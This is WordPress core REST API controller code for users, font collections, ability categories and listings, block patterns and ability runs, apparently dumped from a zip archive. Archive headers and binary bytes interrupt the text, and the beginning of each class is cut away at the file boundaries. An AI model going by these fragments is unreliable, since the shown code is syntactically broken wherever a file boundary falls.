__( 'Passwords cannot contain the "%s" character.' ),
'\\'
),
array( 'status' => 400 )
);
}
return $password;
}
/**
* Retrieves the user's schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'user',
'type' => 'object',
'properties' => array(
'id' => array(
'description' => __( 'Unique identifier for the user.' ),
'type' => 'integer',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'username' => array(
'description' => __( 'Login name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'required' => true,
'arg_options' => array(
'sanitize_callback' => array( $this, 'check_username' ),
),
),
'name' => array(
'description' => __( 'Display name for the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'first_name' => array(
'description' => __( 'First name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'last_name' => array(
'description' => __( 'Last name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'email' => array(
'description' => __( 'The email address for the user.' ),
'type' => 'string',
'format' => 'email',
'context' => array( 'edit' ),
'required' => true,
),
'url' => array(
'description' => __( 'URL of the user.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
),
'description' => array(
'description' => __( 'Description of the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
),
'link' => array(
'description' => __( 'Author URL of the user.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'locale' => array(
'description' => __( 'Locale for the user.' ),
'type' => 'string',
'enum' => array_merge( array( '', 'en_US' ), get_available_languages() ),
'context' => array( 'edit' ),
),
'nickname' => array(
'description' => __( 'The nickname for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'arg_options' => array(
'sanitize_callback' => array( $this, 'sanitize_slug' ),
),
),
'registered_date' => array(
'description' => __( 'Registration date for the user.' ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'edit' ),
'readonly' => true,
),
'roles' => array(
'description' => __( 'Roles assigned to the user.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
'context' => array( 'edit' ),
),
'password' => array(
'description' => __( 'Password for the user (never included).' ),
'type' => 'string',
'context' => array(), // Password is never displayed.
'required' => true,
'arg_options' => array(
'sanitize_callback' => array( $this, 'check_user_password' ),
),
),
'capabilities' => array(
'description' => __( 'All capabilities assigned to the user.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
'extra_capabilities' => array(
'description' => __( 'Any extra capabilities assigned to the user.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
),
);
if ( get_option( 'show_avatars' ) ) {
$avatar_properties = array();
$avatar_sizes = rest_get_avatar_sizes();
foreach ( $avatar_sizes as $size ) {
$avatar_properties[ $size ] = array(
/* translators: %d: Avatar image size in pixels. */
'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
);
}
$schema['properties']['avatar_urls'] = array(
'description' => __( 'Avatar URLs for the user.' ),
'type' => 'object',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
'properties' => $avatar_properties,
);
}
$schema['properties']['meta'] = $this->meta->get_field_schema();
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context']['default'] = 'view';
$query_params['exclude'] = array(
'description' => __( 'Ensure result set excludes specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['include'] = array(
'description' => __( 'Limit result set to specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['offset'] = array(
'description' => __( 'Offset the result set by a specific number of items.' ),
'type' => 'integer',
);
$query_params['order'] = array(
'default' => 'asc',
'description' => __( 'Order sort attribute ascending or descending.' ),
'enum' => array( 'asc', 'desc' ),
'type' => 'string',
);
$query_params['orderby'] = array(
'default' => 'name',
'description' => __( 'Sort collection by user attribute.' ),
'enum' => array(
'id',
'include',
'name',
'registered_date',
'slug',
'include_slugs',
'email',
'url',
),
'type' => 'string',
);
$query_params['slug'] = array(
'description' => __( 'Limit result set to users with one or more specific slugs.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['roles'] = array(
'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['capabilities'] = array(
'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['who'] = array(
'description' => __( 'Limit result set to users who are considered authors.' ),
'type' => 'string',
'enum' => array(
'authors',
),
);
$query_params['has_published_posts'] = array(
'description' => __( 'Limit result set to users who have published posts.' ),
'type' => array( 'boolean', 'array' ),
'items' => array(
'type' => 'string',
'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
),
);
$query_params['search_columns'] = array(
'default' => array(),
'description' => __( 'Array of column names to be searched.' ),
'type' => 'array',
'items' => array(
'enum' => array( 'email', 'name', 'id', 'username', 'slug' ),
'type' => 'string',
),
);
/**
* Filters REST API collection parameters for the users controller.
*
* This filter registers the collection parameter, but does not map the
* collection parameter to an internal WP_User_Query parameter. Use the
* `rest_user_query` filter to set WP_User_Query arguments.
*
* @since 4.7.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_user_collection_params', $query_params );
}
}
PK h0]
i-) ) 7 endpoints/class-wp-rest-font-collections-controller.phpnu [ rest_base = 'font-collections';
$this->namespace = 'wp/v2';
}
/**
* Registers the routes for the objects of the controller.
*
* @since 6.5.0
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\/\w-]+)',
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Gets the font collections available.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$collections_all = WP_Font_Library::get_instance()->get_font_collections();
$page = $request['page'];
$per_page = $request['per_page'];
$total_items = count( $collections_all );
$max_pages = (int) ceil( $total_items / $per_page );
if ( $page > $max_pages && $total_items > 0 ) {
return new WP_Error(
'rest_post_invalid_page_number',
__( 'The page number requested is larger than the number of pages available.' ),
array( 'status' => 400 )
);
}
$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );
$is_head_request = $request->is_method( 'HEAD' );
$items = array();
foreach ( $collections_page as $collection ) {
$item = $this->prepare_item_for_response( $collection, $request );
// If there's an error loading a collection, skip it and continue loading valid collections.
if ( is_wp_error( $item ) ) {
continue;
}
/*
* Skip preparing the response body for HEAD requests.
* Cannot exit earlier due to backward compatibility reasons,
* as validation occurs in the prepare_item_for_response method.
*/
if ( $is_head_request ) {
continue;
}
$item = $this->prepare_response_for_collection( $item );
$items[] = $item;
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items );
$response->header( 'X-WP-Total', (int) $total_items );
$response->header( 'X-WP-TotalPages', $max_pages );
$request_params = $request->get_query_params();
$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
$base = add_query_arg( urlencode_deep( $request_params ), $collection_url );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Gets a font collection.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$slug = $request->get_param( 'slug' );
$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );
if ( ! $collection ) {
return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
}
return $this->prepare_item_for_response( $collection, $request );
}
/**
* Prepare a single collection output for response.
*
* @since 6.5.0
*
* @param WP_Font_Collection $item Font collection object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function prepare_item_for_response( $item, $request ) {
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( rest_is_field_included( 'slug', $fields ) ) {
$data['slug'] = $item->slug;
}
// If any data fields are requested, get the collection data.
$data_fields = array( 'name', 'description', 'font_families', 'categories' );
if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
$collection_data = $item->get_data();
if ( is_wp_error( $collection_data ) ) {
$collection_data->add_data( array( 'status' => 500 ) );
return $collection_data;
}
/**
* Don't prepare the response body for HEAD requests.
* Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
*/
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
}
foreach ( $data_fields as $field ) {
if ( rest_is_field_included( $field, $fields ) ) {
$data[ $field ] = $collection_data[ $field ];
}
}
}
/**
* Don't prepare the response body for HEAD requests.
* Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
*/
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
}
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) ) {
$links = $this->prepare_links( $item );
$response->add_links( $links );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$response->data = $this->add_additional_fields_to_object( $response->data, $request );
$response->data = $this->filter_response_by_context( $response->data, $context );
/**
* Filters the font collection data for a REST API response.
*
* @since 6.5.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Font_Collection $item The font collection object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
}
/**
* Retrieves the font collection's schema, conforming to JSON Schema.
*
* @since 6.5.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'font-collection',
'type' => 'object',
'properties' => array(
'slug' => array(
'description' => __( 'Unique identifier for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'name' => array(
'description' => __( 'The name for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
),
'description' => array(
'description' => __( 'The description for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
),
'font_families' => array(
'description' => __( 'The font families for the font collection.' ),
'type' => 'array',
'context' => array( 'view', 'edit', 'embed' ),
),
'categories' => array(
'description' => __( 'The categories for the font collection.' ),
'type' => 'array',
'context' => array( 'view', 'edit', 'embed' ),
),
),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Prepares links for the request.
*
* @since 6.5.0
*
* @param WP_Font_Collection $collection Font collection data
* @return array Links for the given font collection.
*/
protected function prepare_links( $collection ) {
return array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
}
/**
* Retrieves the search params for the font collections.
*
* @since 6.5.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
unset( $query_params['search'] );
/**
* Filters REST API collection parameters for the font collections controller.
*
* @since 6.5.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_font_collections_collection_params', $query_params );
}
/**
* Checks whether the user has permissions to use the Fonts Collections.
*
* @since 6.5.0
*
* @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
if ( current_user_can( 'edit_theme_options' ) ) {
return true;
}
return new WP_Error(
'rest_cannot_read',
__( 'Sorry, you are not allowed to access font collections.' ),
array(
'status' => rest_authorization_required_code(),
)
);
}
}
PK h0]k > endpoints/class-wp-rest-abilities-v1-categories-controller.phpnu [ namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[a-z0-9]+(?:-[a-z0-9]+)*)',
array(
'args' => array(
'slug' => array(
'description' => __( 'Unique identifier for the ability category.' ),
'type' => 'string',
'pattern' => '^[a-z0-9]+(?:-[a-z0-9]+)*$',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Retrieves all ability categories.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object on success.
*/
public function get_items( $request ) {
$categories = wp_get_ability_categories();
$page = $request['page'];
$per_page = $request['per_page'];
$offset = ( $page - 1 ) * $per_page;
$total_categories = count( $categories );
$max_pages = (int) ceil( $total_categories / $per_page );
if ( $request->get_method() === 'HEAD' ) {
$response = new WP_REST_Response( array() );
} else {
$categories = array_slice( $categories, $offset, $per_page );
$data = array();
foreach ( $categories as $category ) {
$item = $this->prepare_item_for_response( $category, $request );
$data[] = $this->prepare_response_for_collection( $item );
}
$response = rest_ensure_response( $data );
}
$response->header( 'X-WP-Total', (string) $total_categories );
$response->header( 'X-WP-TotalPages', (string) $max_pages );
$query_params = $request->get_query_params();
$base = add_query_arg(
urlencode_deep( $query_params ),
rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) )
);
if ( $page > 1 ) {
$prev_page = $page - 1;
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $page < $max_pages ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Retrieves a specific ability category.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$category = wp_has_ability_category( $request['slug'] ) ? wp_get_ability_category( $request['slug'] ) : null;
if ( ! $category ) {
return new WP_Error(
'rest_ability_category_not_found',
__( 'Ability category not found.' ),
array( 'status' => 404 )
);
}
$data = $this->prepare_item_for_response( $category, $request );
return rest_ensure_response( $data );
}
/**
* Checks if a given request has access to read ability categories.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_items_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Checks if a given request has access to read an ability category.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_item_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Prepares an ability category for response.
*
* @since 6.9.0
*
* @param WP_Ability_Category $category The ability category object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $category, $request ) {
$data = array(
'slug' => $category->get_slug(),
'label' => $category->get_label(),
'description' => $category->get_description(),
'meta' => $category->get_meta(),
);
$context = $request['context'] ?? 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
$fields = $this->get_fields_for_response( $request );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $category->get_slug() ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
'abilities' => array(
'href' => rest_url( sprintf( '%s/abilities?category=%s', $this->namespace, $category->get_slug() ) ),
),
);
$response->add_links( $links );
}
return $response;
}
/**
* Retrieves the ability category's schema, conforming to JSON Schema.
*
* @since 6.9.0
*
* @return array Item schema data.
*/
public function get_item_schema(): array {
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'ability-category',
'type' => 'object',
'properties' => array(
'slug' => array(
'description' => __( 'Unique identifier for the ability category.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'label' => array(
'description' => __( 'Display label for the category.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'Description of the category.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'meta' => array(
'description' => __( 'Meta information about the category.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
return $this->add_additional_fields_schema( $schema );
}
/**
* Retrieves the query params for collections.
*
* @since 6.9.0
*
* @return array Collection parameters.
*/
public function get_collection_params(): array {
return array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
'page' => array(
'description' => __( 'Current page of the collection.' ),
'type' => 'integer',
'default' => 1,
'minimum' => 1,
),
'per_page' => array(
'description' => __( 'Maximum number of items to be returned in result set.' ),
'type' => 'integer',
'default' => 50,
'minimum' => 1,
'maximum' => 100,
),
);
}
}
PK h0];U 2 2 8 endpoints/class-wp-rest-abilities-v1-list-controller.phpnu [ namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+)',
array(
'args' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'pattern' => '^[a-zA-Z0-9\-\/]+$',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Retrieves all abilities.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object on success.
*/
public function get_items( $request ) {
$query_args = array(
'meta' => array( 'show_in_rest' => true ),
);
if ( ! empty( $request['category'] ) ) {
$query_args['category'] = $request['category'];
}
if ( ! empty( $request['namespace'] ) ) {
$query_args['namespace'] = $request['namespace'];
}
if ( ! empty( $request['meta'] ) ) {
// Merge caller meta first so the forced show_in_rest filter wins. This keeps a caller from using meta to reveal abilities hidden from REST.
$query_args['meta'] = array_merge( $request['meta'], $query_args['meta'] );
}
$abilities = wp_get_abilities( $query_args );
$page = $request['page'];
$per_page = $request['per_page'];
$offset = ( $page - 1 ) * $per_page;
$total_abilities = count( $abilities );
$max_pages = (int) ceil( $total_abilities / $per_page );
if ( $request->get_method() === 'HEAD' ) {
$response = new WP_REST_Response( array() );
} else {
$abilities = array_slice( $abilities, $offset, $per_page );
$data = array();
foreach ( $abilities as $ability ) {
$item = $this->prepare_item_for_response( $ability, $request );
$data[] = $this->prepare_response_for_collection( $item );
}
$response = rest_ensure_response( $data );
}
$response->header( 'X-WP-Total', (string) $total_abilities );
$response->header( 'X-WP-TotalPages', (string) $max_pages );
$query_params = $request->get_query_params();
$base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
if ( $page > 1 ) {
$prev_page = $page - 1;
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $page < $max_pages ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Retrieves a specific ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null;
if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$data = $this->prepare_item_for_response( $ability, $request );
return rest_ensure_response( $data );
}
/**
* Checks if a given request has access to read ability items.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_items_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Checks if a given request has access to read an ability item.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_item_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Prepares an ability for response.
*
* @since 6.9.0
*
* @param WP_Ability $ability The ability object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $ability, $request ) {
$data = array(
'name' => $ability->get_name(),
'label' => $ability->get_label(),
'description' => $ability->get_description(),
'category' => $ability->get_category(),
'input_schema' => wp_prepare_json_schema_for_client( $ability->get_input_schema() ),
'output_schema' => wp_prepare_json_schema_for_client( $ability->get_output_schema() ),
'meta' => $ability->get_meta(),
);
$context = $request['context'] ?? 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
$fields = $this->get_fields_for_response( $request );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
$links['wp:action-run'] = array(
'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ),
);
$response->add_links( $links );
}
return $response;
}
/**
* Retrieves the ability's schema, conforming to JSON Schema.
*
* @since 6.9.0
*
* @return array Item schema data.
*/
public function get_item_schema(): array {
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'ability',
'type' => 'object',
'properties' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'label' => array(
'description' => __( 'Display label for the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'Description of the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'category' => array(
'description' => __( 'Ability category this ability belongs to.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'input_schema' => array(
'description' => __( 'JSON Schema for the ability input.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'output_schema' => array(
'description' => __( 'JSON Schema for the ability output.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'meta' => array(
'description' => __( 'Meta information about the ability.' ),
'type' => 'object',
'properties' => array(
'annotations' => array(
'description' => __( 'Behavioral annotations for the ability.' ),
'type' => 'object',
'properties' => array(
'readonly' => array(
'description' => __( 'Whether the ability does not modify its environment.' ),
'type' => array( 'boolean', 'null' ),
),
'destructive' => array(
'description' => __( 'Whether the ability may perform destructive updates to its environment.' ),
'type' => array( 'boolean', 'null' ),
),
'idempotent' => array(
'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ),
'type' => array( 'boolean', 'null' ),
),
),
'additionalProperties' => true,
),
'public' => array(
'description' => __( 'Whether the ability is meant to be available to clients such as the REST API, MCP, or AI agents. Defaults to false, but individual channel settings such as show_in_rest can override it.' ),
'type' => 'boolean',
),
),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
return $this->add_additional_fields_schema( $schema );
}
/**
* Retrieves the query params for collections.
*
* @since 6.9.0
*
* @return array Collection parameters.
*/
public function get_collection_params(): array {
$query_params = array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
'page' => array(
'description' => __( 'Current page of the collection.' ),
'type' => 'integer',
'default' => 1,
'minimum' => 1,
),
'per_page' => array(
'description' => __( 'Maximum number of items to be returned in result set.' ),
'type' => 'integer',
'default' => 50,
'minimum' => 1,
'maximum' => 100,
),
'category' => array(
'description' => __( 'Limit results to abilities in specific ability category.' ),
'type' => 'string',
'sanitize_callback' => 'sanitize_key',
'validate_callback' => 'rest_validate_request_arg',
),
'namespace' => array(
'description' => __( 'Limit results to abilities in a specific namespace.' ),
'type' => 'string',
'sanitize_callback' => 'sanitize_key',
'validate_callback' => 'rest_validate_request_arg',
),
'meta' => array(
'description' => __( 'Limit results to abilities matching all of the given meta fields.' ),
'type' => 'object',
'properties' => array(
// show_in_rest is omitted on purpose. It is forced on and cannot be filtered by a caller.
'annotations' => array(
'description' => __( 'Limit results to abilities matching the given behavioral annotations.' ),
'type' => 'object',
'properties' => array(
'readonly' => array(
'description' => __( 'Whether the ability does not modify its environment.' ),
'type' => array( 'boolean', 'null' ),
),
'destructive' => array(
'description' => __( 'Whether the ability may perform destructive updates to its environment.' ),
'type' => array( 'boolean', 'null' ),
),
'idempotent' => array(
'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ),
'type' => array( 'boolean', 'null' ),
),
),
'additionalProperties' => true,
),
),
'additionalProperties' => true,
),
);
/**
* Filters REST API collection parameters for the abilities controller.
*
* Use this to declare the schema type of a custom meta key. A declared
* type lets REST coerce a query-string value, for example "true" to a
* boolean, before the meta filter matches it.
*
* @since 7.1.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_abilities_collection_params', $query_params );
}
}
PK h0]Ɩ8 8 - endpoints/class-wp-rest-blocks-controller.phpnu [ ID ) ) {
return false;
}
return parent::check_read_permission( $post );
}
/**
* Filters a response based on the context defined in the schema.
*
* @since 5.0.0
* @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response.
*
* @param array $data Response data to filter.
* @param string $context Context defined in the schema.
* @return array Filtered response.
*/
public function filter_response_by_context( $data, $context ) {
$data = parent::filter_response_by_context( $data, $context );
/*
* Remove `title.rendered` and `content.rendered` from the response.
* It doesn't make sense for a pattern to have rendered content on its own,
* since rendering a block requires it to be inside a post or a page.
*/
unset( $data['title']['rendered'] );
unset( $data['content']['rendered'] );
// Add the core wp_pattern_sync_status meta as top level property to the response.
$data['wp_pattern_sync_status'] = $data['meta']['wp_pattern_sync_status'] ?? '';
unset( $data['meta']['wp_pattern_sync_status'] );
return $data;
}
/**
* Retrieves the pattern's schema, conforming to JSON Schema.
*
* @since 5.0.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = parent::get_item_schema();
/*
* Allow all contexts to access `title.raw` and `content.raw`.
* Clients always need the raw markup of a pattern to do anything useful,
* e.g. parse it or display it in an editor.
*/
$schema['properties']['title']['properties']['raw']['context'] = array( 'view', 'edit' );
$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );
/*
* Remove `title.rendered` and `content.rendered` from the schema.
* It doesn't make sense for a pattern to have rendered content on its own,
* since rendering a block requires it to be inside a post or a page.
*/
unset( $schema['properties']['title']['properties']['rendered'] );
unset( $schema['properties']['content']['properties']['rendered'] );
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
}
PK h0]Lz- z- 7 endpoints/class-wp-rest-abilities-v1-run-controller.phpnu [ namespace,
'/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+?)/run',
array(
'args' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'pattern' => '^[a-zA-Z0-9\-\/]+$',
),
),
// TODO: We register ALLMETHODS because at route registration time, we don't know which abilities
// exist or their annotations (`destructive`, `idempotent`, `readonly`). This is due to WordPress
